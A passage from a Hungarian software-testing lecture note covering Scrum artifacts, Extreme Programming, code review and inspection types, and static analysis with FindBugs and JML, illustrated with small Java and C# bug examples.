azokat az elemeket, más néven sztorikat, amelyeket el kell készíteni. Ez egyfajta
kívánságlista. A Product Owner minden sztorihoz prioritást, fontossági sorrendet rendel, így

2-18
tudja szabályozni, hogy melyeket kell elsősorban elkészíteni, így a Sprint Planning során a
csapattagok láthatják, hogy ami a Backlog-ban legfelül van, azt szeretné a vevő leghamarabb
készen látni, annak van a legnagyobb üzleti értéke. Emellett a csapatok súlyozzák az
elemeket aszerint, hogy melynek az elkészítéséhez kell a kevesebb munka, így azonos
prioritás mellett a kevesebb munkát igénylő elemnek nagyobb a befektetés megtérülése
(Return of Investment, ROI). Az üzleti érték meghatározása a Product Owner, a munka
megbecslése a csapat feladata. A kettő hányadosa a ROI.

Sprint Backlog (futam teendő lista): Ebben a dokumentumban az aktuális sprintre bevállalt
munkák, storyk vannak felsorolva, ezeket kell adott időn belül a csapatnak megvalósítania. A
sztorik tovább vannak bontva taszkokra, és ezeket a taszkokat vállalják el a tagok a Daily
Meeting során. Ez a feldarabolása a feladatoknak a feladat minél jobb megértését segíti.

Burn down chart (Napi Eredmény Kimutatás): Ez egy diagram, amely segít megmutatni, hogy
az ideális munkatempóhoz képest hogyan halad a csapat az aktuális sprinten belül. Könnyen
leolvasható róla, hogy a csapat éppen elakadt-e egy ponton, akár arra is lehet következtetni,
hogy ilyen iramban kész lesz-e minden a sprint végére. Vagy éppen ellenkezőleg, sikerült
felgyorsítani az iramot, és időben, vagy akár kicsit hamarabb is kész lehet a bevállalt munka.

2.4.6 Extrém programozás


Az extrém programozás (angolul: Extreme Programming, vagy röviden: XP) egy agilis
módszertan. A nevében az extrém szó onnan jön, hogy az eddigi módszertanokból átveszi a
jól bevált technikákat és azokat nem csak jól, hanem extrém jól alkalmazza, minden mást
feleslegesnek tekint. Gyakran összekeverik a „programozzunk összeesésig” módszerrel,
amivel egy-két 24 órás vagy akár 48 órás programozó versenyen találkozhatunk.

Az extrém programozás 4 tevékenységet ír elő. Ezek a következők:

• Kódolás: A forráskód a projekt legfontosabb terméke, ezért a kódolásra kell a


hangsúlyt helyezni. Igazán kódolás közben jönnek ki a feladat nehézségei, hiába
gondoltuk azt át előtte. A kód a legalkalmasabb a két programozó közötti
kommunikációra, mivel azt nem lehet kétféleképpen érteni. A kód alkalmas a
programozó gondolatainak kifejezésére.

• Tesztelés: Addig nem lehetünk benne biztosak, hogy egy funkció működik, amíg nem
teszteltük. Az extrém felfogás szerint kevés tesztelés kevés hibát talál, extrém sok
tesztelés megtalálja mind. A tesztelés játssza a dokumentáció szerepét. Nem
dokumentáljuk a metódusokat, hanem unit-teszteket fejlesztünk hozzá. Nem
készítünk követelmény specifikációt, hanem átvételi teszteseteket fejlesztünk a
megértett követelményekből.

• Odafigyelés: A fejlesztőknek oda kell figyelniük a megrendelőkre, meg kell érteniük az


igényeiket. El kell magyarázni nekik, hogy hogyan lehet technikailag kivitelezni ezeket
az igényeket, és ha egy igény kivitelezhetetlen, ezt meg kell értetni a megrendelővel.

2-19
• Tervezés: Tervezés nélkül nem lehet szoftvert fejleszteni, mert az ad- hoc megoldások
átláthatatlan struktúrához vezetnek. Mivel fel kell készülni az igények változására,
ezért úgy kell megtervezni a szoftvert, hogy egyes komponensei amennyire csak lehet
függetlenek legyenek a többitől. Ezért érdemes pl. objektum orientált tervezési
alapelveket használni.

Néhány extrém programozásra jellemző technika:

• Páros programozás (pair programming): Két programozó ír egy kódot, pontosabban


az egyik írja, a másik figyeli. Ha hibát lát vagy nem érti, akkor azonnal szól. A két
programozó folyamatosan megbeszélik hogyan érdemes megoldani az adott
problémát.

• Teszt vezérelt fejlesztés (test driven development): Már a metódus elkészítése előtt
megírjuk a hozzá tartozó unit-teszteket. Ezt néha hívják először a teszt (test-first)
megközelítésnek is.

• Forráskód átnézés (code review): Az elkészült nagyobb modulokat, pl. osztályokat,


egy vezető fejlesztő átnézi, hogy van-e benne hiba, nem érthető, nem dokumentált
rész. A modul fejlesztői elmagyarázzák mit és miért csináltak. A vezető fejlesztő
elmondja, hogyan lehet ezt jobban, szebben csinálni.

• Folyamatos integráció (continuous integration): A nap (vagy a hét) végén, a


verziókövető rendszerbe bekerült kódokat integrációs teszt alá vetjük, hogy
kiderüljön, hogy azok képesek-e együttműködni. Így nagyon korán kiszűrhető a
programozók közti félreértés.

• Kódszépítés (refactoring): A már letesztelt, működő kódot lehet szépíteni, ami esetleg
lassú, rugalmatlan, vagy egyszerűen csak csúnya. A kódszépítés előfeltétele, hogy
legyen sok unit-teszt. A szépítés során nem szabad megváltoztatni a kód
funkcionalitását, de a szerkezet, pl. egy metódus törzse, szabadon változtatható. A
szépítés után minden unit-tesztet le kell futtatni, nem csak a megváltozott kódhoz
tartozókat, hogy lássuk, a változások okoztak-e hibát.

2-20
Az extrém programozás akkor működik jól, ha a megrendelő biztosítani tud egy munkatársat,
aki átlátja a megrendelő folyamatait, tudja, mire van szükség. Ha a változó, vagy a menet
közben kiderített követelmények miatt gyakran át kell írni már elkészült részeket, akkor az
extrém programozás nagyon rossz választás. Kezdő programozók esetén az extrém
programozás nem alkalmazható, mert nincs elég tapasztalatuk az extrém módszerek
alkalmazásához.

Az extrém programozás legnagyobb erénye, hogy olyan fejlesztési módszereket hozott a


felszínre, amik magas minőséget biztosítanak. Ezek, mint pl. a páros programozás, nagyon
népszerűek lettek.

2-21
Tartalomjegyzék
2 A tesztelés helye a szoftver életciklusában ........................................................ ............. 2-1
2.1 A szoftverkrízis .............................. ................................................... ......................... 2-1
2.2 A szoftver életciklusa ........................ ................................................... ..................... 2-1
2.3 Módszertanok .................................. ................................................... ...................... 2-3
2.4 V-modell....................................... ................................................... .......................... 2-3
2.4.1 Prototípus modell ........................... ................................................... ................ 2-5
2.4.2 Iteratív és inkrementális módszertanok.......................................................... .. 2-7
2.4.3 Gyors alkalmazásfejlesztés – RAD ............................................................... .... 2-10
2.4.4 Agilis szoftverfejlesztés ...................................................................... ............. 2-12
2.4.5 Scrum ....................................... ................................................... ..................... 2-14
2.4.6 Extrém programozás .......................... ................................................... .......... 2-19

2-22
3 Statikus tesztelési technikák
A statikus tesztelési technikák a szoftver forrás kódját vizsgálják fordítási időben. Ide tartozik a
dokumentáció felülvizsgálata is. A statikus tesztelés párja a dinamikus tesztelés, amely a szoftvert
futásidőben teszteli.

A statikus tesztelési technikáknak két fajtája van:

• felülvizsgálat és

• statikus elemzés.

A felülvizsgálat a kód, illetve a dokumentáció, vagy ezek együttes manuális átnézését jelenti. Ide
tartozik például a páros programozás. A statikus elemzés a kód, illetve a dokumentáció
automatikus vizsgálatát jelenti, ahol a statikus elemzést végző segédeszköz megvizsgálja a kódot
(illetve a dokumentációt), hogy bizonyos szabályoknak megfelel-e. Ide tartozik például a helyesírás
ellenőrzés.

A statikus technikával más típusú hibák találhatóak meg könnyen, mint a dinamikus tesztelési
technikákkal. Statikus technikákkal könnyen megtalálhatóak azok a kód sorok, ahol null
referencián keresztül akarunk metódust hívni. Ugyanezt elérni dinamikus teszteléssel nagyon
költséges, hiszen 100%-os kód lefedettség kell hozzá. Ugyanakkor dinamikus teszteléssel könnyen
észrevehető, hogy ha rossz képlet alapján számítjuk pl. az árengedményt. Ugyanezt statikusan
nehéz észrevenni, hacsak nincs egy szemfüles vezető programozónk, aki átlátja az üzleti oldalt is.

A statikus tesztelési technikák előnye, hogy nagyon korán alkalmazhatóak, már akkor is, amikor
még nincs is futtatható verzió. Így hamarabb lehet velük hibákat találni és így gazdaságosabb a
hibajavítás.

3.1 Felülvizsgálat
A felülvizsgálat azt jelenti, hogy manuálisan átnézzük a forráskódot és fejben futtatjuk vagy
egyszerűen csak gyanús részeket keresünk benne. Ezzel szemben áll a statikus elemzés, ahol
szoftverekkel nézetjük át automatikusan a forráskódot. A felülvizsgálat fehérdobozos teszt, mivel
kell hozzá a forráskód. A felülvizsgálat lehet informális, pl. páros programozás, de akár nagyon
formális is, amikor a folyamatot jól dokumentáljuk, illetve a két szélsőség közti átmenetek.

Ezeket a hibákat könnyebb felülvizsgálattal megtalálni, mint más technikákkal:

• szabványoktól / kódolási szabályoktól való eltérések,

• követelményekkel kapcsolatos hibák, pl. nincs minden funkcionális követelményhez funkció,

• tervezési hibák, pl. az adatbázis nincs harmadik normál-formában,

• karbantarthatóság hiánya, pl. nincs biztonsági mentés és visszaállítás funkció,

• hibás interfész-specifikációk, pl. dokumentálatlan feltételezések.


3-1
A felülvizsgálat legismertebb típusai:

• informális felülvizsgálat (csoporton belüli),

• átvizsgálás (házon belüli),

• technikai felülvizsgálat (külsős szakérő bevonásával rövid idejű),

• inspekció (külsős szakérő bevonásával hosszú idejű).

3.1.1 Informális felülvizsgálat


Sok szoftvercégnél elfogadott megoldás, hogy egy tapasztalt programozó átnézi (review) a kezdők
kódját. A kezdők a kritikából rengeteg tapasztalatot szerezhetnek. A kockázatosnak ítélt részeket
(pl. amire gyakran kerül a vezérlés, vagy kevésbé ismert megoldást alkalmaz) több tapasztalt
programozó is átnézheti. Ennek hatékonysága függ az átnézők rátermettségétől. Ez talán a
leginformálisabb megoldás.

Ehhez hasonló a páros programozás (pair programming) is. Ekkor két programozó ír egy kódot,
pontosabban az egyik írja, a másik figyeli. Ha a figyelő hibát lát vagy nem érti a kódot, akkor
azonnal szól. A két programozó folyamatosan megbeszéli, hogy hogyan érdemes megoldani az
adott problémát.

A kódszépítés (refactoring) egy másik módja a felülvizsgálatnak. Ilyenkor a már letesztelt, működő
kódot lehet szépíteni, ami esetleg lassú, rugalmatlan, vagy egyszerűen csak csúnya. A kódszépítés
előfeltétele, hogy legyen sok unit-teszt. A szépítés során nem szabad megváltoztatni a kód
funkcionalitását, de a szerkezet, pl. egy metódus törzse, szabadon változtatható. A szépítés után
minden unit-tesztet le kell futtatni, nem csak a megváltozott kódhoz tartozókat, hogy lássuk, a
változások okoztak-e hibát. A kódszépítést a szerző és egy tapasztalt programozó végzi közösen.

Az informális felülvizsgálat legfőbb jellemzői:

• informális, a fejlesztő csapaton belüli felülvizsgálat,

• kezdeményezheti a szerző vagy egy tapasztaltabb fejlesztő, ritkán a menedzsment,

• hatékonysága függ az átnéző személyétől, minél tapasztaltabb, annál több hibát vehet
észre,

• célja a korai költséghatékony hiba felderítés.

3.1.2 Átvizsgálás
Ez már kicsit formálisabb módja a felülvizsgálatnak. Általában a módszertan előírja, hogy az
elkészült kisebb-nagyobb modulokat ismertetni kell a csapat többi tagjával, a többi csapattal. Célja,
hogy a mások is átlássák az általunk írt kódrészletet (ez csökkenti a kárt, amit egy programozó
elvesztése okozhat, lásd kockázat menedzsment), kritikai megjegyzéseikkel segítsék a kód
minőségének javítását. Aszerint, hogy hány embernek mutatjuk be az elkészült modult, ezekről
beszélhetünk:

3-2
• váll feletti átnézés (over-the-shoulder review),

• forráskód átnézés (code review),

• kód átvétel (code acceptance review)

• körbeküldés (pass-around),

• csoportos átnézés (team review),

• felület átnézés (interface review),

• kód prezentálás (code presentation).

Váll feletti átnézés (over-the-shoulder review): Az egyik programozó egy ideje nézi saját
forráskódját, de nem találja a hibát. Valamelyik kollégáját megkéri, hogy segítsen. Mialatt
elmagyarázza a problémát, általában rá is jön a megoldásra. Ha mégsem, akkor a kollégának lehet
egy jó ötlete, hogy mi okozhatja a hibát. Általában ennyi elég is a hiba megtalálásához. Ha nem,
jöhet a forráskód átnézés.

Forráskód átnézés (code review): A kód írója megkér egy tapasztalt programozót, hogy segítsen
megtalálni egy nehezen megtalálható hibát. Együtt nyomkövetik a programot, miközben a szerző
magyarázza, mit miért csinált. Ellenőrzik, hogy a kód megfelel-e a specifikációnak. Ezt addig
fojtatják, amíg meg nem találják a hibát.

Kód átvétel (code acceptance review): Az elkészült nagyobb modulokat, pl. osztályokat, a vezető
fejlesztő vagy egy tapasztalt programozó átnézi, hogy van-e benne hiba, nem érthető, nem
dokumentált rész. A modul fejlesztői elmagyarázzák mit és miért csináltak. A vezető fejlesztő
elmondja, hogyan lehet ezt jobban, szebben csinálni. Ha hibát talál (ez gyakran logikai hiba), akkor
arra rámutat, vázolja a javítást.

Körbeküldés (pass-around): A kód szerzője körbeküldi az általa írt kódrészletet, ami akár egy egész
modul is lehet. A címzettek véleményezik a kódot, például megírják, melyik részét érdemes
tesztelni. A körbeküldés általában megelőzi a kód felvételét a verziókövető rendszerbe. Általában
csak akkor használják, ha egy kódrészlet kritikus fontosságú, pl. egy sokak által használt interfész.
Az intenzív kommunikációt előíró módszertanokra (pl. Scrum) nem jellemző.

Csoportos átnézés (team review): A csoportos átnézés a körbeküldést helyettesíti. Itt is egy
érzékeny kódrészletet néznek át többen, de interaktívan. A kódot a szerző prezentálja, sorról sorra
magyarázza. Általában elvárás, hogy ha valaki valamit nem ért, azonnal szóljon. A prezentáció
végén a vezető programozó elmondja, szerinte mit lehetett volna jobban csinálni. Ehhez is gyakran
hozzászólnak a többiek. Több módszertan (pl. extrém programozás) limitálja ezen alkalmak
időhosszát fél vagy egy órában.

Felület átnézés (interface review): Hasonló a csoportos átnézéshez, de itt általában több
embernek mutatjuk be azt az interfészt, amelyen keresztül a csoportunk fejlesztése lesz elérhető.
Ez azért fontos, hogy az egyes csoportok egyeztetni tudják elvárásaikat egymás felé. Ezeket rögzítik

3-3
és az integrációs teszt során felhasználják.

Kód prezentálás (code presentation): Hasonló a csoportos átnézéshez, de az érdekes kódot nem a
csoporton belül, hanem a cégen belül mutatjuk be. Akkor gyakori, ha több telephelyen fejlesztik
ugyanazt a szoftvert. Nem feltétlenül az egész cég vesz részt benne, lehet, hogy csak három ember,
de könnyen előfordulhat, hogy ezek más-más kontinensen vannak. A kód prezentálás célja lehet
egy hiba bemutatása, amit egy másik csapat talált és megkéri a kód tulajdonosát, hogy javítsa.
Másik gyakori cél a csúcs fejlesztők összehozása, hogy a keretrendszer továbbfejlesztését
megbeszéljék.

Az átvizsgálás legfőbb jellemzői:

• a moderátor maga a szerző, lehet jegyzőkönyvvezető is, de az nem a szerző,

• a résztvevők a cég alkalmazottai, külső szakértők nem jellemzőek,

• lehet informális és formális is, ha formális, akkor van pl. jegyzőkönyv,

• általában a módszertan írja elő vagy a menedzsment kezdeményezi,

• a szerzők jól felkészülnek, pl. szemléltető ábrákat készítenek, a többi résztvevő átnézi a
kapcsolódó dokumentációt,

• célja az elkészült modulok ismertetése, megértések, azokban hibakeresés.

3.1.3 Technikai felülvizsgálat


Technikai felülvizsgálatra általában akkor kerül sor, ha a szoftver teljesítményével nem vagyunk
elégedettek. Azt általában könnyű megtalálni a felhasználói visszajelzések és úgynevezett profiler
programok segítségével, hogy mi az a szűk keresztmetszet (angolul: bottleneck), ami a lassúságot
okozza. Ugyanakkor az nagyon nehéz kérdés, hogyan oldjuk fel ezeket a szűk keresztmetszeteket.
Ha lenne egyszerű megoldás, akkor a programozók eleve azt használták volna, tehát ez általában a
szoftver cég alkalmazottainak tudását meghaladó probléma.

Ilyenkor külső szakértőket szoktak felkérni, hogy segítsenek. Leggyakrabban egy-egy lekérdezés
bizonyul túl lassúnak. Ilyenkor egy index hozzáadás a táblához nagyságrendekkel gyorsítja a
lekérdezést. A kérdés már csak az, mit indexeljünk és hogyan. A külsős szakértők átnézik a
megoldásunkat és javaslatokat adnak.

Mivel ez a fajta tanácsadás nagyon drága, ezért ez egy jól dokumentált folyamat. A szoftvercég
leírja, hogy mi a probléma. Mind a cég alkalmazottai, mind a szakértők felkészülnek, átnézik a
dokumentációkat. A megbeszélést általában egy moderátor vezeti, aki jegyzőkönyvet is ír. A
moderátor nem lehet a program írója. A résztvevők megbeszélik, hogy mi a probléma gyökere. A
szakértők több megoldási javaslatot is adnak. Kiválasztanak egy megoldást. Ezt vagy a szerző, vagy
a szakértők implementálják.

A technikai vizsgálat másik típusa, amikor külső szakértők azt ellenőrzik, hogy a szoftver vagy a
dokumentációja megfelel-e az előírt szabványoknak. Az ellenőrzést nem a megrendelő, hanem a

3-4
szoftver cég vagy a szabvány hitelesítését végző szervezet kezdeményezi. Pl. az emberi életre is
veszélyes (life-critical) rendszerek dokumentációjára az IEC61508 szabvány vonatkozik. Ennek
betartása a cég érdeke, mert ha kiderül, hogy nem tartja be a szabványt, akkor a termékeit akár ki
is vonhatják a piacról.

Akkor is ehhez a technikához fordulnak, ha a szoftverben van egy hiba, amit nagyon nehéz
reprodukálni, és a szoftver cég saját alkalmazottai nem tudják megtalálni (megtalálhatatlan hiba).
Ez többszálú vagy elosztott rendszereknél fordul általában elő egy holtpont (deadlock) vagy
kiéheztetés (starvation) formájában, de lehet ez egy memóriaszivárgás (memory lake) is. Ilyenkor a
szakértő megmutatja, hogyan kell azt a statikus elemző szoftvert használni, pl. egy holtpont
keresőt (deadlock checker), ami megtalálja a hibás részt. Az így feltárt hibát általában már a cég
szakemberei is javítani tudják.

A technikai felülvizsgálat legfőbb jellemzői:

• a szoftver cég kezdeményezi, ha külső szakértők bevonására van szüksége,

• moderátor vezeti (nem a szerző), jegyzőkönyvet vezet,

• inkább formális, mint informális,

• a találkozó előtt a résztvevők felkészülnek,

• opcionálisan ellenőrző lista használata, amit a felek előre elfogadnak,

• célja a megtalálhatatlan hibák felderítése, vagy a szoftver lassúságát okozó szűk


keresztmetszetek megszüntetés, vagy szabványok ellenőrzése.

3.1.4 Inspekció
Ez a legformálisabb felülvizsgálat. Ezt is akkor használjuk, ha külső szakértő bevonására van
szükségünk. A technikai felülvizsgálattól az különbözteti meg, hogy a szoftver cég és a szakértőt
adó cég részletesebb szerződést köt, amely magában foglalja:

• a megoldandó feladat leírását,

• azt a célfeltételt, ami a probléma megoldásával el kell érni,

• a célfeltételben használt metrikák leírását,

• az inspekciós jelentés formáját.

Míg a technikai átnézésnél gyakran csak annyit kérünk a szakértőktől, hogy legyen sokkal gyorsabb
egy lekérdezés, az inspekció esetén leírjuk pontosan, hogy milyen gyors legyen.

Az inspekció szó abból jön, hogy a probléma megoldásához általában nem elég csak a szoftver egy
részét átvizsgálni, hanem az egész forráskódot adatbázissal együtt inspekció alá kell vonni.
Inspekciót alkalmazunk akkor is, ha egy régi (esetleg már nem támogatott programozási nyelven
íródott) kódot akarunk szépíteni / átírni, hogy ismét rugalmasan lehessen bővíteni.

3-5
Az inspektornak nagy tekintélyű szakembernek kell lennie, mert az általa javasolt változtatások
általában nagyon fájóak, nehezen kivitelezhetőek. Ha nincs meg a bizalom, hogy ezekkel a
változtatásokkal el lehet érni a célt, akkor a fejlesztő csapat ellenállásán elbukhat a
kezdeményezés.

Az inspektort általában egy-két hónapig is a fejlesztők rendelkezésére áll szemben a technikai


felülvizsgálattal, amikor a szakértők gyorsan, akár néhány óra alatt megoldják a problémát. Ezért
ugyanannak a szakértőnek a napidíja általában kisebb inspekció esetén, mint technikai
felülvizsgálat esetén.

Az inspekció lehet rövid távú is (egy-két hetes), ha a szakértőre nincs szükség a probléma
megoldásához, csak a feltárásához. Ekkor a szakértő egy inspekciós jelentést ír, amely leírja,
hogyan kell megoldani a problémát. Ehhez általában csatolni kell egy példa programot is, egy
úgynevezett PoC-kot (Proof of Concept), amely alapján a cég saját fejlesztői is képesek megoldani
a problémát. A PoC-oknak demonstrálnia kell, hogy a kívánt metrika értékek elérhetőek a
segítségével.

Az inspekció legfőbb jellemzői:

• a szoftvercég kezdeményezi, ha hosszabb távon van szüksége külső szakértőre,

• részletes szerződés szabályozza, ami a problémát, a célfeltételt és célban szereplő


metrikákat is leírja,

• opcionálisan PoC-ok (Proof of Concept) készítése,

• inspekciós jelentés készítése,

• célja teljesítmény fokozás a szakértő által kiválóan ismert technológia segítségével vagy
elavult kód frissítése.

3.2 Statikus elemzés


A statikus elemzés fehérdobozos teszt, hiszen szükséges hozzá a forráskód. Néhány esetben, pl.
holtpont ellenőrzés, elegendő a lefordított köztes kód (byte kód). A statikus elemzés azért hasznos,
mert olyan hibákat fedez fel, amiket más tesztelési eljárással nehéz megtalálni. Például kiszűrhető
segítségével minden null referencia hivatkozás, ami az alkalmazás lefagyásához vezethet, ha benne
marad a programban. Az összes null referencia hivatkozás kiszűrése dinamikus technikákkal (pl.
komponens teszttel vagy rendszerteszttel) nagyon sok időbe telne, mert 100%-os kódlefedettséget
kellene elérnünk.

A statikus elemzés azt használja ki, hogy az ilyen tipikus hibák leírhatók egyszerű szabályokkal,
amiket egy egyszerű kódelemző (parser) gyorsan tud elemezni. Például null referencia hivatkozás
akkor lehetséges, ha egy „a = null;” értékadó utasítás és egy „a.akármi;” hivatkozás közt van olyan
végrehajtási út, ahol az „a” referencia nem kap null-tól különböző értéket. Ugyan ezt lehet
dinamikus technikákkal is vizsgálni, de ahhoz annyi tesztesetet kell fejleszteni, ami minden
lehetséges végrehajtási utat tesztel az „a = null;” és az „a.akármi;” közt.

3-6
A forráskód statikus elemzésnek két változata ismert, ezek:

• statikus elemzés csak a forráskód alapján,

• statikus elemzés a forráskód és modell alapján.

Ezen túl lehetséges a dokumentumok statikus elemzése is, de ezekre nem térünk ki.

A következő hiba típusokat könnyebb statikus elemzéssel megtalálni, mint más technikákkal:

• null referenciára hivatkozás,

• tömbök túl vagy alul indexelése,

• nullával való osztás,

• lezáratlan adat folyam (unclosed stream),

• holtpontok (deadlock),

• kiéheztetés (starvation).

Az egyes eszközök lehetnek specifikusak, mint pl. a holtpont keresők, illetve általánosak, mint pl. a
FindBugs.

3.2.1 Statikus elemzés csak a forráskód alapján


Azok az elemzők, amelyek csak a forráskódot használják fel az elemzéshez, azok nagyon hasznosak
olyan szempontból, hogy nem igényelnek plusz erőfeszítést a programozóktól a specifikáció
megírásához. Ilyen eszköz például a FindBugs. Ezeket az eszközöket csak bele kell illeszteni a
fordítás folyamatába. Ezután a statikus elemző felhívja a figyelmünket a tipikus programozói
hibákra. Ezek általában programozási nyelv specifikusak, de léteznek nyelv függetlenek, pl. a Sonar
vagy a Yasca rendszer, amelyek egy-egy plugin segítségével adaptálhatóak a kedvenc nyelvünkhöz.

Jelen jegyzetben a FindBugs használatát fogjuk bemutatni Eclipse környezetben. Először telepíteni
kell a FindBugs plugint. Ehhez indítsuk el az Eclipse rendszert, majd válasszuk a Help -> Install New
Software… menüt. A megjelenő ablakban adjuk hozzá a plugin források listájához az alábbi linket
az Add gombbal: http://findbugs.cs.umd.edu/eclipse. Ezután néhány Next gomb és a felhasználási
feltételek elfogadása után a rendszer elkezdi installálni a FindBugs plugint. Ez néhány percet vesz
igénybe, ami után újraindul az Eclipse. Ezután már használhatjuk a FindBugs-t.

A használatához válasszunk ki egy projektet, majd a helyi menüben válasszuk a Find Bugs -> Find
Bugs menüt. Ez egyrészt megkeresi azokat a sorokat, amelyek valamilyen szabálynak nem felelnek
meg, másrészt átvisz minket a FindBugs perspektívába. Ha talál hibákat, akkor ezeket bal oldalon
egy kicsi piros bogár ikonnal jelzi. Ha ezekre ráállunk vagy rákattintunk, akkor láthatjuk, milyen
típusú hibát találtunk. Ezekről részletes információt is kérhetünk, ha a FindBugs perspektíva Bug
Explorer ablakában kiválasztjuk valamelyiket.

Az egyes hibák ellenőrzését ki/be lehet kapcsolni a projekt Properties ablakának FindBugs panelén.

3-7
Itt érdemes a Run atomatically opciót bekapcsolni. Így minden egyes mentésnél lefut a FindBugs.
Ebben az ablakban az is látható, melyik hiba ellenőrzése gyors, illetve melyik lassú. Például a null
referenciára hivatkozás ellenőrzése lassú.

Nézzünk néhány gyakori hibát, amit megtalál a FindBugs az alapbeállításaival:


public int fact(int n) { return n*fact(n-1); }
Itt a „There is an apparent infinite recursive loop” figyelmeztetést kapjuk nagyon helyesen, hiszen
itt egy rekurzív függvényt írtunk bázis feltétel nélkül, és így semmi se állítja meg a rekurziót.
Integer i = 1, j = 0;
if(i == j) System.out.println("ugyanaz");

Ebben a példában a „Suspicious comparison of Integer references” figyelmeztetést kapjuk. Ez azért


van, mert referenciák egyenlőségét ugyan tényleg a dupla egyenlőségjellel kell vizsgálni, de a
mögöttük lévő tartalom egyenlőségét az equals metódussal kell megvizsgálni. Tehát ez egy
lehetséges hiba, amit érdemes a fejlesztőknek alaposan megnézni.
int i = 0;
i = i++;
System.out.println(i);

Itt több hibát is kapunk: „Overwritten increment” és „Self assignment of local variable”. Az első
hiba arra utal, hogy hiába akartuk növelni az i változó értékét, az elvész. A második hiba azt fejezi
ki, hogy egy változót önmagával akarunk felülírni.

Nézzünk olyan esetet is, aminél hibásan ad figyelmeztetést a FindBugs:


public static void main(String[] args){
Object o = null;
int i = 1;
if(i == 1) o = "hello";
System.out.println(o.toString());
}

A fenti esetre a „Possible null pointer dereference of o” hibát kapjuk, habár egyértelműen látszik,
hogy az o értéket fog kapni, hiszen igaz az if utasítás feltétele. Ugyanakkor a FindBugs rendszer
nem képes kiszámolni a változók lehetséges értékeit az egyes ágakon, hiszen nem tartalmaz egy
automatikus tételbizonyítót. Ezzel szemben a következő alfejezetben tárgyalt ESC/Java2 eszköz
képes erre, hiszen egy automatikus tételbizonyítóra épül.

3.2.2 Statikus elemzés a forráskód és modell alapján


Ebben az esetben a forráskód mellett van egy modellünk is, ami leírja, hogyan kellene működnie a
programnak. A program viselkedése ilyen esetben elő- és utófeltételekkel, illetve invariánsokkal
van leírva. Ezt úgy érjük el legkönnyebben, hogy kontraktus alapú tervezést (design by contract)
használunk. Ez esetben minden metódusnak van egy kontraktusa, amely a metódus elő- és
utófeltételében ölt testet. A szerződés kimondja, hogy ha a metódus hívása előtt igaz az
előfeltétele, akkor a metódus lefutása után igaznak kell lennie az utófeltételének. Az invariánsok
általában osztály szintűek, leírják az osztály lehetséges belső állapotait. A program viselkedését
legegyszerűbben assert utasításokkal írhatjuk le.

3-8
Egy példa assert használatára:
public double division(double a, double b){
assert(b!=0.0);
return a / b;
}

A fenti példában azt feltételezzük, hogy a metódus második paramétere nem nulla. A program
kódjában a feltételezéseinket assert formájában tudjuk beírni Java esetén. Java esetén az assert
utasítások csak akkor futnak le, ha a JVM-et a –enableassert vagy az egyenértékű –ea opcióval
futtatjuk, egyébként nincs hatásuk.

C# esetén a fenti példa megfelelője ez:


public double division(double a, double b)
{
System.Diagnostics.Debug.Assert(b != 0.0);
return a / b;
}

Az Assert csak akkor fog lefutni, ha a Debug módban fordítjuk az alkalmazást.

A program viselkedését legegyszerűbben assert utasítások lehet leírni, de lehetőségünk van magas
szintű viselkedés leíró nyelvek használatára, mint például a JML (Java Modeling Language) nyelv.
Ez esetben magas szintű statikus kód ellenőrzést (Extended Static Checking, ESC) tudunk végezni az
ESC/Java2 program segítségével.

Egy példa JML használatára:

public class BankSzámla {


private /*@ spec_public @*/ int balansz = 0;
private /*@ spec_public @*/ boolean zárolt = false;
//@ public invariant balansz >= 0;
//@ requires 0 < összeg;
//@ assignable balansz;
//@ ensures balansz == \old(balansz) + összeg;
public void betesz(int összeg) { balansz += összeg; }

//@ requires 0 < összeg && összeg <= balansz;


//@ assignable balansz;
//@ ensures balansz == \old(balansz) - összeg;
public void kivesz(int összeg) { balansz -= összeg; }

//@ assignable zárolt;


//@ ensures zárolt == true;
public void zárol() { zárolt = true; }

//@ requires !zárolt;


//@ ensures \result == balansz;
//@ also
//@ requires zárolt;
//@ signals_only BankingException;
public /*@ pure @*/ int getBalansz() throws BankingException
3-9
{
if (!zárolt) { return balansz; }
else { throw new BankingException("Zárolt a számla"); }
}
}
Ebből a kis példából lehet látni, hogy a JML specifikációt megjegyzésbe kell írni, amely az @ jellel
kezdődik. A spec_public kulcsszóval teszünk láthatóvá egy mezőt a JML specifikáció számára. Az
invariant kulcsszó után adjuk meg az osztály invariánsát, amelynek minden (nem helper) metódus
hívás előtt és után igaznak kell lennie. Az előfeltételt a requires kulcsszó után kell írni. Maga a
feltétel egy szabályos Java logikai kifejezés. A kifejezésben lehet használni JML predikátumokat is.
Az utófeltétel kulcsszava az ensures. Lehet látni, hogy az utófeltételben lehet hivatkozni a
visszatérési értékre a \result JML kifejezéssel. Az \old(x) JML kifejezés az x változó metódus futása
előtti értékére hivatkozik. Az assignable kulcsszó segítségével úgynevezett keretfeltétel (frame
condition) adható, amiben felsorolhatom, hogy a metóduson belül mely mezők értékét lehet
megváltoztatni. Ha egyik mező értékét sem változtathatja meg a metódus, akkor azt mondjuk,
hogy nincs mellékhatása. Az ilyen metódusokat a pure kulcsszóval jelöljük meg. Elő- és
utófeltételben csak pure metódusok hívhatok. Az also kulcsszó esetszétválogatásra szolgál. A
signals_only kulcsszó után adható meg, hogy milyen kivételt válthat ki a metódus.

Az fenti példában van egy BankSzámla osztályunk, amelyben a balansz mező tárolja, hogy mennyi
pénzünk van. Az invariánsunk az fejezi ki, hogy a balansz nem lehet negatív. Négy metódusunk van.
A metódusoknál megadjuk elő- és utófeltételüket természetes nyelven:

 betesz(összeg)

 Előfeltétel: Az összeg pozitív szám, mert nulla forintot nincs értelme betenni, negatív
összeget pedig nem szabad.

 Keret feltétel: Csak a balansz mezőt írhatja.

 Utófeltétel: A balanszot meg kell növelni az összeggel, azaz az új balansz a régi balansz
plusz az összeg.

 kivesz(összeg)

 Előfeltétel: Az összeg pozitív szám, mert nulla forintot nincs értelme kivenni, negatív
összeget pedig nem szabad. Továbbá az összeg kisebb egyenlő, mint a balansz, mert a
számlán lévő összegnél nem lehet többet felvenni.

 Keret feltétel: Csak a balansz mezőt írhatja.

 Utófeltétel: A balanszot csökkenteni kell az összeggel, azaz az új balansz a régi balansz


mínusz az összeg.

 zárol()

3-10
 Előfeltétel: Nincs, azaz mindig igaz.

 Keret feltétel: Csak a zárolt mezőt írhatja.

 Utófeltétel: A zárolt mezőnek igaznak kell lennie.

 getBalansz()

 Két esetet különböztetünk meg, ahol az előfeltételek kizárják egymást.

 Előfeltétel: A számla nem zárolt.

 Utófeltétel: A visszatérési érték megegyezik a balansz értékével.

 Előfeltétel: A számla zárolt.

